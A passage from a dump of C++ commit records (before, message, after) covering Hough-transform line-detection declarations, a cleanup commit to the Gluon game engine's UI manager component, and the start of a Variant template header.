T_theta , std::vector<float> t_accumulator);\n\nvoid Hough_Lines_Parallel_Map(image2d<vuchar1> img);\n\n}\n#include \"dense_one_to_one_hough.hpp\"\n\n#endif \/\/ DENSE_ONE_TO_ONE_HOUGH_HH\n<commit_msg>Update dense_one_to_one_hough.hh<commit_after>#pragma once\n\n\n#include \"openacc.h\"\n#include \"vpp\/algorithms\/Line_tracker_4_sfm\/miscellanous\/operations.hh\"\n#include <opencv2\/highgui.hpp>\n#include <opencv2\/videoio.hpp>\n#include <vpp\/vpp.hh>\n#include <Eigen\/Core>\n#include <vpp\/utils\/opencv_bridge.hh>\n#include <iod\/timer.hh>\n\nusing namespace vpp;\nusing namespace std;\nusing namespace Eigen;\nusing namespace iod;\nusing namespace cv;\n\nnamespace vpp{\n\n#define Two_PI 2*M_PI\n\n\nstd::list<vint2> Hough_Lines_Parallel(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , image2d<uchar> &out\n , std::vector<std::list<vint2> > &points50);\nstd::list<vint2> Hough_Lines_Parallel_Kmeans(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max,int rhomax, float& max_of_the_accu\n , image2d<uchar> &grad_img );\nstd::list<vint2> Hough_Lines_Parallel(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , image2d<uchar> &grad_img, std::vector<vint4>& extremites);\nstd::list<vint2> Hough_Lines_Parallel(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , image2d<uchar> &grad_img);\nstd::list<vint2> Hough_Lines_Parallel_Update_Threshold(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max,int rhomax, float& max_of_the_accu\n , image2d<uchar> &grad_img , float& grad_threshold , int N);\nstd::list<vint2> Hough_Lines_Parallel_Sparse(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, int rhomax, float& max_of_the_accu\n , image2d<uchar> &grad_img , float grad_threshold , int N);\nstd::list<vint2> Hough_Lines_Parallel_Sparse1(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , image2d<uchar> &grad_img);\nstd::list<vint2> Hough_Lines_Parallel(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, int rhomax, float& max_of_the_accu\n , image2d<uchar> &grad_img , float acc_threshold);\n\nstd::list<vint2> Hough_Lines_Parallel_one(Mat bv,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , Mat &grad_img);\n\nstd::list<vint2> Hough_Lines_Parallel_one(image2d<uchar> img, Mat bv,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , Mat &grad_img , std::vector<LineIterator> list_interest);\n\nvoid Hough_Lines_Sequentiel(image2d<vuchar1> img,int sigma,int nbsigma,std::vector<float>& t_accumulator, int nrows, int ncols);\n\n\nstd::list<vint2> Hough_Lines_Parallel_Gradient(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu,\n image2d<uchar> &grad_img, std::vector<vint4> &points50);\nstd::list<vint2> Hough_Lines_Parallel_Basic(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu);\nstd::priority_queue<vint2> Hough_Lines_Parallel_V3(image2d<vuchar1> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu, int threshold,\n image2d<vuchar3> &cluster_colors , int nb_old);\nvoid adap_thresold(std::list<vfloat3> &list_temp , float &threshold_hough , int &calls ,\n int &nb_calls_limits_reached , int rhomax, int T_theta, std::vector<float> t_accumulator);\nvoid reduce_number_of_max_local(std::list<vfloat3> &list_temp , float threshold_hough , int rhomax, int T_theta , std::vector<float> t_accumulator);\n\nvoid Hough_Lines_Parallel_Map(image2d<vuchar1> img);\n\n}\n#include \"dense_one_to_one_hough.hpp\"\n\n\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2010 Arjen Hiemstra <ahiemstra@heimr.nl>\n * Copyright (c) 2011 Giulio Camuffo <giuliocamuffo@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"uimanagercomponent.h\"\n\n#include <core\/debughelper.h>\n#include <graphics\/item.h>\n#include <graphics\/engine.h>\n#include <graphics\/item.h>\n#include <graphics\/material.h>\n#include <graphics\/mesh.h>\n#include <graphics\/rendertarget.h>\n#include <graphics\/materialinstance.h>\n#include <engine\/gameobject.h>\n#include <engine\/asset.h>\n\n#include <QtCore\/QMimeData>\n#include <QtCore\/QVariant>\n#include <QtGui\/QMatrix4x4>\n#include <QtGui\/QColor>\n#include <QtGui\/QGraphicsView>\n#include <QtGui\/QGraphicsScene>\n#include <QtGui\/QGraphicsWidget>\n#include <QtGui\/QPixmap>\n#include <QtOpenGL\/QGLFramebufferObject>\n#include <QtDeclarative\/QDeclarativeEngine>\n#include <QtDeclarative\/QDeclarativeExpression>\n#include <QtDeclarative\/QDeclarativeContext>\n#include <QtDeclarative\/qdeclarative.h>\n#include <QtScript\/QScriptValue>\n#include <QtScript\/QScriptEngine>\n#include <QtScript\/QScriptValueIterator>\n#include <texture.h>\n#include <game.h>\n\n#include \"uiasset.h\"\n#include \"engineaccess.h\"\n#include \"renderablescene.h\"\n\nREGISTER_OBJECTTYPE( GluonEngine, UiManagerComponent )\n\nusing namespace GluonEngine;\nusing namespace GluonGraphics;\n\ntemplate <typename Tp>\nQScriptValue scriptValueFromQObject( QScriptEngine *engine, Tp const& qobject)\n{\n return engine->newQObject( qobject );\n}\n\ntemplate <typename Tp>\nvoid scriptValueToQObject(const QScriptValue &value, Tp &qobject)\n{\n qobject = qobject_cast<Tp>( value.toQObject() );\n}\n\ntemplate <typename Tp>\nint qScriptRegisterQObjectMetaType( QScriptEngine *engine )\n{\n return qScriptRegisterMetaType<Tp>( engine, scriptValueFromQObject, scriptValueToQObject );\n}\n\nclass UiManagerComponent::UiManagerComponentPrivate\n{\n public:\n UiManagerComponentPrivate( UiManagerComponent *component )\n : q(component)\n , scene(0)\n , ui(0)\n , updateFunction(0)\n {\n }\n\n void setupBindings( QScriptEngine* engine )\n {\n \/\/FIXME: this code is duplicated with the scripting conponent.\n \/\/It should be moved to a common place.\n\n engine->importExtension( \"jsmoke.qtcore\" );\n engine->importExtension( \"jsmoke.qtgui\" );\n engine->importExtension( \"jsmoke.qtopengl\" );\n\n qScriptRegisterQObjectMetaType<GameObject*>( engine );\n qScriptRegisterQObjectMetaType<GluonObject*>( engine );\n qScriptRegisterQObjectMetaType<Component*>( engine );\n qScriptRegisterQObjectMetaType<Asset*>( engine );\n qScriptRegisterQObjectMetaType<Scene*>( engine );\n qScriptRegisterQObjectMetaType<GameProject*>( engine );\n\n QScriptEngine::QObjectWrapOptions wrapOptions = QScriptEngine::AutoCreateDynamicProperties | QScriptEngine::ExcludeDeleteLater | QScriptEngine::PreferExistingWrapperObject;\n QScriptEngine::ValueOwnership ownership = QScriptEngine::QtOwnership;\n QScriptValue object = engine->globalObject();\n\n QScriptValue component = engine->newQObject( q, ownership, wrapOptions );\n object.setProperty( \"Component\", component );\n\n QScriptValue gameObj = engine->newQObject( q->gameObject(), ownership, wrapOptions );\n object.setProperty( \"GameObject\", gameObj );\n\n QScriptValue sceneObj = engine->newQObject( q->gameObject()->scene(), ownership, wrapOptions );\n object.setProperty( \"Scene\", sceneObj );\n\n QScriptValue gameProjectObj = engine->newQObject( GluonEngine::Game::instance()->gameProject(), ownership, wrapOptions );\n object.setProperty( \"GameProject\", gameProjectObj );\n\n QScriptValue game = engine->newQObject( GluonEngine::Game::instance(), ownership, wrapOptions );\n object.setProperty( \"Game\", game );\n }\n\n UiManagerComponent* q;\n QPixmap pixmap;\n QGraphicsView* view;\n RenderableScene* scene;\n UiAsset *ui;\n QSizeF size;\n Item *item;\n EngineAccess* engineAccess;\n\n QDeclarativeExpression *updateFunction;\n};\n\nUiManagerComponent::UiManagerComponent( QObject* parent )\n : Component( parent )\n , d( new UiManagerComponentPrivate( this ) )\n{\n\n}\n\nUiManagerComponent::UiManagerComponent( const UiManagerComponent& other )\n : Component( other )\n , d( other.d )\n{\n}\n\nUiManagerComponent::~UiManagerComponent()\n{\n delete d;\n}\n\nQString UiManagerComponent::category() const\n{\n return QString( \"Graphics Rendering\" );\n}\n\nvoid UiManagerComponent::initialize()\n{\n\/\/ d->fbo = GluonGraphics::Engine::instance()->fbo();\n\/\/ d->pixmap = QPixmap( widget->size() );\n\/\/ d->pixmap.fill( Qt::transparent );\n\/\/ d->view->setParent(widget->parentWidget());\n\/\/ d->view->setAttribute(Qt::WA_TranslucentBackground);\n\/\/ d->view->setAttribute(Qt::WA_NoSystemBackground);\n\/\/ d->view->viewport()->setAttribute(Qt::WA_TranslucentBackground);\n\/\/ d->view->viewport()->setAttribute(Qt::WA_NoSystemBackground);\n\/\/ d->view->setStyleSheet(\"border: none\");\n\/\/ QPalette p = d->view->viewport()->palette();\n\/\/ p.setColor(QPalette::Base, Qt::transparent);\n\/\/ d->view->viewport()->setPalette(p);\n\/\/ d->view->setScene(d->scene);\n\/\/ d->view->setSceneRect(QRectF(0,0,1000,1000));\n\n\/\/ d->view->resize(widget->size());\n\/\/ d->view->show();\n\/\/ d->scene->setBackgroundBrush(Qt::blue);\n\n\/\/ d->texture = widget->bindTexture(d->pixmap);\n\/\/ widget->update();\n\/\/ widget->updateGL();\n\/\/ widget->makeCurrent();\n\n if( !d->scene )\n {\n d->scene = new RenderableScene( this );\n d->scene->setSceneRect(QRectF(QPointF(0,0), QSize(1024,768)));\n }\n\n if( d->ui && !d->ui->isLoaded() )\n {\n qmlRegisterType<GluonEngine::GameObject>(\"org.kde.gluon\", 1, 0, \"GameObject\" );\n qmlRegisterInterface<GluonEngine::GameObject>(\"gameObject\");\n\n d->ui->load();\n\n QDeclarativeEngine* engine = d->ui->engine();\n\n d->engineAccess = new EngineAccess(this);\n engine->rootContext()->setContextProperty( \"__engineAccess\", d->engineAccess );\n\n \/\/Glorious hack:steal the engine\n QDeclarativeExpression *expr = new QDeclarativeExpression( engine->rootContext(), d->ui->widget(),\n \"__engineAccess.setEngine( this )\" );\n expr->evaluate();\n delete expr;\n }\n\n if( d->ui && d->ui->isLoaded() )\n {\n\n d->ui->execute();\n\n QGraphicsWidget* gWidget = d->ui->widget();\n if( gWidget )\n {\n d->scene->addItem( gWidget );\n\n d->updateFunction = new QDeclarativeExpression( d->ui->engine()->rootContext(),\n d->ui->widget(), \"update()\" );\n }\n }\n}\n\nvoid UiManagerComponent::setScriptEngine( QScriptValue &value )\n{\n QScriptEngine* engine = value.engine();\n\n QScriptValue originalGlobalObject = engine->globalObject();\n QScriptValue newGlobalObject = engine->newObject();\n\n QString eval = QLatin1String( \"eval\" );\n QString version = QLatin1String( \"version\" );\n\n QScriptValueIterator iter( originalGlobalObject );\n QVector<QString> names;\n QVector<QScriptValue> values;\n QVector<QScriptValue::PropertyFlags> flags;\n while ( iter.hasNext() )\n {\n iter.next();\n\n QString name = iter.name();\n\n if ( name == version )\n {\n continue;\n }\n\n if ( name != eval )\n {\n names.append( name );\n values.append( iter.value() );\n flags.append( iter.flags() | QScriptValue::Undeletable );\n }\n newGlobalObject.setProperty( iter.scriptName(), iter.value() );\n }\n\n engine->setGlobalObject( newGlobalObject );\n\n d->setupBindings( engine );\n\n delete d->engineAccess;\n d->ui->engine()->rootContext()->setContextProperty( \"__engineAccess\", 0 );\n}\n\nvoid UiManagerComponent::start()\n{\n\n}\n\nvoid UiManagerComponent::draw( int timeLapse )\n{\n Q_UNUSED( timeLapse )\n\n if( !d->scene || !d->ui || !d->ui->widget() )\n {\n return;\n }\n\n d->scene->renderScene();\n}\n\nvoid UiManagerComponent::update( int elapsedMilliseconds )\n{\n if( d->updateFunction )\n {\n d->updateFunction->evaluate();\n\n if( d->updateFunction->hasError() )\n {\n debug( d->updateFunction->error().toString() );\n }\n }\n}\n\nvoid UiManagerComponent::cleanup()\n{\n if( !d->ui )\n {\n return;\n }\n\n QGraphicsWidget* widget = d->ui->widget();\n if( d->scene && widget && widget->scene() == d->scene )\n {\n d->scene->removeItem( widget );\n }\n\n delete d->scene;\n d->scene = 0;\n\n delete d->updateFunction;\n d->updateFunction = 0;\n}\n\nvoid UiManagerComponent::setUi(UiAsset* ui)\n{\n d->ui = ui;\n}\n\nUiAsset* UiManagerComponent::ui() const\n{\n return d->ui;\n}\n\nvoid UiManagerComponent::setSize( const QSizeF& size )\n{\n d->size = size;\n}\n\nQSizeF UiManagerComponent::size() const\n{\n return d->size;\n}\n\nQ_EXPORT_PLUGIN2( gluon_component_uimanager, GluonEngine::UiManagerComponent );\n\n#include \"uimanagercomponent.moc\"\n<commit_msg>Cleanings.<commit_after>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2010 Arjen Hiemstra <ahiemstra@heimr.nl>\n * Copyright (c) 2011 Giulio Camuffo <giuliocamuffo@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"uimanagercomponent.h\"\n\n#include <core\/debughelper.h>\n#include <graphics\/item.h>\n#include <graphics\/engine.h>\n#include <graphics\/item.h>\n#include <graphics\/material.h>\n#include <graphics\/mesh.h>\n#include <graphics\/rendertarget.h>\n#include <graphics\/materialinstance.h>\n#include <engine\/gameobject.h>\n#include <engine\/asset.h>\n\n#include <QtCore\/QMimeData>\n#include <QtCore\/QVariant>\n#include <QtGui\/QMatrix4x4>\n#include <QtGui\/QColor>\n#include <QtGui\/QGraphicsView>\n#include <QtGui\/QGraphicsScene>\n#include <QtGui\/QGraphicsWidget>\n#include <QtGui\/QPixmap>\n#include <QtOpenGL\/QGLFramebufferObject>\n#include <QtDeclarative\/QDeclarativeEngine>\n#include <QtDeclarative\/QDeclarativeExpression>\n#include <QtDeclarative\/QDeclarativeContext>\n#include <QtDeclarative\/qdeclarative.h>\n#include <QtScript\/QScriptValue>\n#include <QtScript\/QScriptEngine>\n#include <QtScript\/QScriptValueIterator>\n#include <texture.h>\n#include <game.h>\n\n#include \"uiasset.h\"\n#include \"engineaccess.h\"\n#include \"renderablescene.h\"\n\nREGISTER_OBJECTTYPE( GluonEngine, UiManagerComponent )\n\nusing namespace GluonEngine;\nusing namespace GluonGraphics;\n\ntemplate <typename Tp>\nQScriptValue scriptValueFromQObject( QScriptEngine *engine, Tp const& qobject)\n{\n return engine->newQObject( qobject );\n}\n\ntemplate <typename Tp>\nvoid scriptValueToQObject(const QScriptValue &value, Tp &qobject)\n{\n qobject = qobject_cast<Tp>( value.toQObject() );\n}\n\ntemplate <typename Tp>\nint qScriptRegisterQObjectMetaType( QScriptEngine *engine )\n{\n return qScriptRegisterMetaType<Tp>( engine, scriptValueFromQObject, scriptValueToQObject );\n}\n\nclass UiManagerComponent::UiManagerComponentPrivate\n{\n public:\n UiManagerComponentPrivate( UiManagerComponent *component )\n : q(component)\n , scene(0)\n , ui(0)\n , updateFunction(0)\n {\n }\n\n void setupBindings( QScriptEngine* engine )\n {\n \/\/FIXME: this code is duplicated with the scripting conponent.\n \/\/It should be moved to a common place.\n\n engine->importExtension( \"jsmoke.qtcore\" );\n engine->importExtension( \"jsmoke.qtgui\" );\n engine->importExtension( \"jsmoke.qtopengl\" );\n\n qScriptRegisterQObjectMetaType<GameObject*>( engine );\n qScriptRegisterQObjectMetaType<GluonObject*>( engine );\n qScriptRegisterQObjectMetaType<Component*>( engine );\n qScriptRegisterQObjectMetaType<Asset*>( engine );\n qScriptRegisterQObjectMetaType<Scene*>( engine );\n qScriptRegisterQObjectMetaType<GameProject*>( engine );\n\n QScriptEngine::QObjectWrapOptions wrapOptions = QScriptEngine::AutoCreateDynamicProperties | QScriptEngine::ExcludeDeleteLater | QScriptEngine::PreferExistingWrapperObject;\n QScriptEngine::ValueOwnership ownership = QScriptEngine::QtOwnership;\n QScriptValue object = engine->globalObject();\n\n QScriptValue component = engine->newQObject( q, ownership, wrapOptions );\n object.setProperty( \"Component\", component );\n\n QScriptValue gameObj = engine->newQObject( q->gameObject(), ownership, wrapOptions );\n object.setProperty( \"GameObject\", gameObj );\n\n QScriptValue sceneObj = engine->newQObject( q->gameObject()->scene(), ownership, wrapOptions );\n object.setProperty( \"Scene\", sceneObj );\n\n QScriptValue gameProjectObj = engine->newQObject( GluonEngine::Game::instance()->gameProject(), ownership, wrapOptions );\n object.setProperty( \"GameProject\", gameProjectObj );\n\n QScriptValue game = engine->newQObject( GluonEngine::Game::instance(), ownership, wrapOptions );\n object.setProperty( \"Game\", game );\n }\n\n UiManagerComponent* q;\n RenderableScene* scene;\n UiAsset *ui;\n QSizeF size;\n Item *item;\n EngineAccess* engineAccess;\n\n QDeclarativeExpression *updateFunction;\n};\n\nUiManagerComponent::UiManagerComponent( QObject* parent )\n : Component( parent )\n , d( new UiManagerComponentPrivate( this ) )\n{\n\n}\n\nUiManagerComponent::UiManagerComponent( const UiManagerComponent& other )\n : Component( other )\n , d( other.d )\n{\n}\n\nUiManagerComponent::~UiManagerComponent()\n{\n delete d;\n}\n\nQString UiManagerComponent::category() const\n{\n return QString( \"Graphics Rendering\" );\n}\n\nvoid UiManagerComponent::initialize()\n{\n if( !d->scene )\n {\n d->scene = new RenderableScene( this );\n d->scene->setSceneRect(QRectF(QPointF(0,0), QSize(1024,768)));\n }\n\n if( d->ui && !d->ui->isLoaded() )\n {\n qmlRegisterType<GluonEngine::GameObject>(\"org.kde.gluon\", 1, 0, \"GameObject\" );\n qmlRegisterInterface<GluonEngine::GameObject>(\"gameObject\");\n\n d->ui->load();\n\n QDeclarativeEngine* engine = d->ui->engine();\n\n d->engineAccess = new EngineAccess(this);\n engine->rootContext()->setContextProperty( \"__engineAccess\", d->engineAccess );\n\n \/\/Glorious hack:steal the engine\n QDeclarativeExpression *expr = new QDeclarativeExpression( engine->rootContext(), d->ui->widget(),\n \"__engineAccess.setEngine( this )\" );\n expr->evaluate();\n delete expr;\n }\n\n if( d->ui && d->ui->isLoaded() )\n {\n d->ui->execute();\n\n QGraphicsWidget* gWidget = d->ui->widget();\n if( gWidget )\n {\n d->scene->addItem( gWidget );\n\n d->updateFunction = new QDeclarativeExpression( d->ui->engine()->rootContext(),\n d->ui->widget(), \"update()\" );\n }\n }\n}\n\nvoid UiManagerComponent::setScriptEngine( QScriptValue &value )\n{\n QScriptEngine* engine = value.engine();\n\n QScriptValue originalGlobalObject = engine->globalObject();\n QScriptValue newGlobalObject = engine->newObject();\n\n QString eval = QLatin1String( \"eval\" );\n QString version = QLatin1String( \"version\" );\n\n QScriptValueIterator iter( originalGlobalObject );\n QVector<QString> names;\n QVector<QScriptValue> values;\n QVector<QScriptValue::PropertyFlags> flags;\n while ( iter.hasNext() )\n {\n iter.next();\n\n QString name = iter.name();\n\n if ( name == version )\n {\n continue;\n }\n\n if ( name != eval )\n {\n names.append( name );\n values.append( iter.value() );\n flags.append( iter.flags() | QScriptValue::Undeletable );\n }\n newGlobalObject.setProperty( iter.scriptName(), iter.value() );\n }\n\n engine->setGlobalObject( newGlobalObject );\n\n d->setupBindings( engine );\n\n delete d->engineAccess;\n d->ui->engine()->rootContext()->setContextProperty( \"__engineAccess\", 0 );\n}\n\nvoid UiManagerComponent::start()\n{\n\n}\n\nvoid UiManagerComponent::draw( int timeLapse )\n{\n Q_UNUSED( timeLapse )\n\n if( !d->scene || !d->ui || !d->ui->widget() )\n {\n return;\n }\n\n d->scene->renderScene();\n}\n\nvoid UiManagerComponent::update( int elapsedMilliseconds )\n{\n if( d->updateFunction )\n {\n d->updateFunction->evaluate();\n\n if( d->updateFunction->hasError() )\n {\n debug( d->updateFunction->error().toString() );\n }\n }\n}\n\nvoid UiManagerComponent::cleanup()\n{\n if( !d->ui )\n {\n return;\n }\n\n QGraphicsWidget* widget = d->ui->widget();\n if( d->scene && widget && widget->scene() == d->scene )\n {\n d->scene->removeItem( widget );\n }\n\n delete d->scene;\n d->scene = 0;\n\n delete d->updateFunction;\n d->updateFunction = 0;\n}\n\nvoid UiManagerComponent::setUi(UiAsset* ui)\n{\n d->ui = ui;\n}\n\nUiAsset* UiManagerComponent::ui() const\n{\n return d->ui;\n}\n\nvoid UiManagerComponent::setSize( const QSizeF& size )\n{\n d->size = size;\n}\n\nQSizeF UiManagerComponent::size() const\n{\n return d->size;\n}\n\nQ_EXPORT_PLUGIN2( gluon_component_uimanager, GluonEngine::UiManagerComponent );\n\n#include \"uimanagercomponent.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/**\n *\t\\file\n *\/\n \n \n#pragma once\n \n \n#include <rleahylib\/rleahylib.hpp>\n#include <traits.hpp>\n#include <cstddef>\n#include <new>\n#include <type_traits>\n#include <utility>\n \n \nnamespace MCPP {\n\n\n\t\/**\n\t *\t\\cond\n\t *\/\n\n\n\tnamespace VariantImpl {\n\t\n\t\n\t\ttemplate <typename...>\n\t\tclass MaxAlignOfImpl {\t};\n\t\t\n\t\t\n\t\ttemplate <>\n\t\tclass MaxAlignOfImpl<> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=0;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <typename T, typename... Args>\n\t\tclass MaxAlignOfImpl<T,Args...> {\n\t\t\n\t\t\n\t\t\tprivate:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word next=MaxAlignOfImpl<Args...>::Value;\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=(alignof(T)>next) ? alignof(T) : next;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <typename...>\n\t\tclass MaxSizeOfImpl {\t};\n\t\t\n\t\t\n\t\ttemplate <>\n\t\tclass MaxSizeOfImpl<> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=0;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <typename T, typename... Args>\n\t\tclass MaxSizeOfImpl<T,Args...> {\n\t\t\n\t\t\n\t\t\tprivate:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word next=MaxSizeOfImpl<Args...>::Value;\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=(sizeof(T)>next) ? sizeof(T) : next;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <Word, typename, typename...>\n\t\tclass FindTypeImpl {\t};\n\t\t\n\t\t\n\t\ttemplate <Word i, typename T>\n\t\tclass FindTypeImpl<i,T> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=i;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <Word i, typename T, typename Curr, typename... Args>\n\t\tclass FindTypeImpl<i,T,Curr,Args...> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static Word Value=std::is_same<\n\t\t\t\t\ttypename std::decay<T>::type,\n\t\t\t\t\ttypename std::decay<Curr>::type\n\t\t\t\t>::value ? i : FindTypeImpl<i+1,T,Args...>::Value;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <typename...>\n\t\tclass NoThrowCopyableImpl {\t};\n\t\t\n\t\t\n\t\ttemplate <typename T, typename... Args>\n\t\tclass NoThrowCopyableImpl<T,Args...> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static bool Value=std::is_nothrow_copy_constructible<T>::value ? NoThrowCopyableImpl<Args...>::Value : false;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <>\n\t\tclass NoThrowCopyableImpl<> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static bool Value=true;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <typename...>\n\t\tclass NoThrowMovableImpl {\t};\n\t\t\n\t\t\n\t\ttemplate <typename T, typename... Args>\n\t\tclass NoThrowMovableImpl<T,Args...> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static bool Value=std::is_nothrow_move_constructible<T>::value ? NoThrowMovableImpl<Args...>::Value : false;\n\t\t\n\t\t\n\t\t};\n\t\t\n\t\t\n\t\ttemplate <>\n\t\tclass NoThrowMovableImpl<> {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\tconstexpr static bool Value=true;\n\t\t\n\t\t\n\t\t};\n\t\n\t\n\t\ttemplate <typename... Args>\n\t\tclass VariantInfo {\n\t\t\n\t\t\n\t\t\tpublic:\n\t\t\t\n\t\t\t\n\t\t\t\ttemplate <Word i>\n\t\t\t\tclass Types {\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tpublic:\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\ttypedef typename std::decay<typename GetType<i,Args...>::Type>::type Type;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t};\n\t\t\t\t\n\t\t\t\t\n\t\t\t\ttemplate <typename T>\n\t\t\t\tclass FindType {\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tpublic:\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\tconstexpr static Word Value=FindTypeImpl<0,T,Args...>::Value;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t};\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tconstexpr static Word MaxAlignOf=MaxAlignOfImpl<Args...>::Value;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tconstexpr static Word MaxSizeOf=MaxSizeOfImpl<Args...>::Value;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tconstexpr static bool NoThrowCopyable=NoThrowCopyableImpl<Args...>::Value;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tconstexpr static bool NoThrowMovable=NoThrowMovableImpl<Args...>::Value;\n\t\t\n\t\t\n\t\t};\n\t\n\t\n\t}\n\t\n\t\n\t\/**\n\t *\t\\endcond\n\t *\/\n\t \n\t \n\tclass BadVariantOperation : public std::exception {\n\t\n\t\n\t\tpublic:\n\t\t\n\t\t\n\t\t\t__attribute__((noreturn))\n\t\t\tstatic void Raise () {\n\t\t\t\n\t\t\t\tthrow BadVariantOperation();\n\t\t\t\n\t\t\t}\n\t\n\t\n\t};\n\t\n\t\n\ttemplate <typename... Args>\n\tclass Variant {\n\t\n\t\n\t\tprivate:\n\t\t\n\t\t\n\t\t\ttypedef VariantImpl::VariantInfo<Args...> info;\n\t\t\n\t\t\n\t\t\tbool engaged;\n\t\t\tWord active;\n\t\t\talignas(\n\t\t\t\tmax_align_t\n\t\t\t\t\/\/info::MaxAlignOf\n\t\t\t) Byte buffer [info::MaxSizeOf];\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tT * get_ptr () noexcept {\n\t\t\t\n\t\t\t\treturn reinterpret_cast<T *>(\n\t\t\t\t\treinterpret_cast<void *>(\n\t\t\t\t\t\tbuffer\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <typename T>\n\t\t\tconst T * get_ptr () const noexcept {\n\t\t\t\n\t\t\t\treturn reinterpret_cast<const T *>(\n\t\t\t\t\treinterpret_cast<const void *>(\n\t\t\t\t\t\tbuffer\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti>=sizeof...(Args)\n\t\t\t>::type destroy_impl () const noexcept {\t}\n\t\t\t\n\t\t\t\n\t\t\ttemplate <Word i>\n\t\t\ttypename std::enable_if<\n\t\t\t\ti<sizeof...(Args)\n\t\t\t>::type destroy_impl () noexcept {\n\t\t\t\n\t\t\t\ttypedef typename info::template Types<i>::Type type;\n\t\t\t\n\t\t\t\tif (active==i) get_ptr<type>()->~type();\n\t\t\t\telse destroy_impl<i+1>();\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tvoid destroy () noexcept {\n\t\t\t\n\t\t\t\tif (engaged) 